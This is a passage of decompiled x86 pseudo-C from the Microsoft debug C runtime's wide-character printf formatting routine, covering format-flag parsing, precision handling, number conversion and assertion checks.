																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43cbe0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CBA4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AFF0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xc0d8c8fb
																			E00424860(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xc0d7763b
																					E00424860(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xc0d772bb
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E004285E0(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AFF0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AFF0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E004285E0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E004285E0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E004285E0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E004285E0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428600(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428600(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E004285E0(__ebp + 0x14);
																	__eax = E00434180();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E520();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																		__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AFC0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041AFF0(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E00431490( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428600(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428600(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xd:
																	L145:
																	 *(__ebp - 0x460) = 0x27;
																	L146:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *((short*)(__ebp - 0x14)) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E004285E0(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428600(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428600(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xe:
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
															}
														case 8:
															L24:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L27;
														case 9:
															L25:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L27;
														case 0xa:
															L23:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L27;
														case 0xb:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L27;
														case 0xc:
															L26:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L27;
														case 0xd:
															L27:
															goto L214;
													}
												} else {
													_t642 = 0;
													if(0 == 0) {
														 *(_t674 - 0x4dc) = 0;
													} else {
														 *(_t674 - 0x4dc) = 1;
													}
													 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
													if( *(_t674 - 0x46c) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t517 = L0041E520();
														_t676 = _t676 + 0x14;
														if(_t517 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t674 - 0x46c) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00423010(_t588))) = 0x16;
														E00422DA0(_t565, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t674 - 0x4c8) = 0xffffffff;
														E0041AFC0(_t674 - 0x40);
														_t502 =  *(_t674 - 0x4c8);
														L225:
														return E0042BF30(_t502, _t565,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
													}
												}
											}
											L215:
											__eflags =  *(_t674 - 0x45c);
											if( *(_t674 - 0x45c) == 0) {
												L218:
												 *(_t674 - 0x4f8) = 1;
												L219:
												_t642 =  *(_t674 - 0x4f8);
												 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t507 = L0041E520();
													_t676 = _t676 + 0x14;
													__eflags = _t507 - 1;
													if(_t507 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) != 0) {
													 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
													E0041AFC0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d4);
												} else {
													 *((intOrPtr*)(L00423010(_t580))) = 0x16;
													E00422DA0(_t565, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t674 - 0x4d0) = 0xffffffff;
													E0041AFC0(_t674 - 0x40);
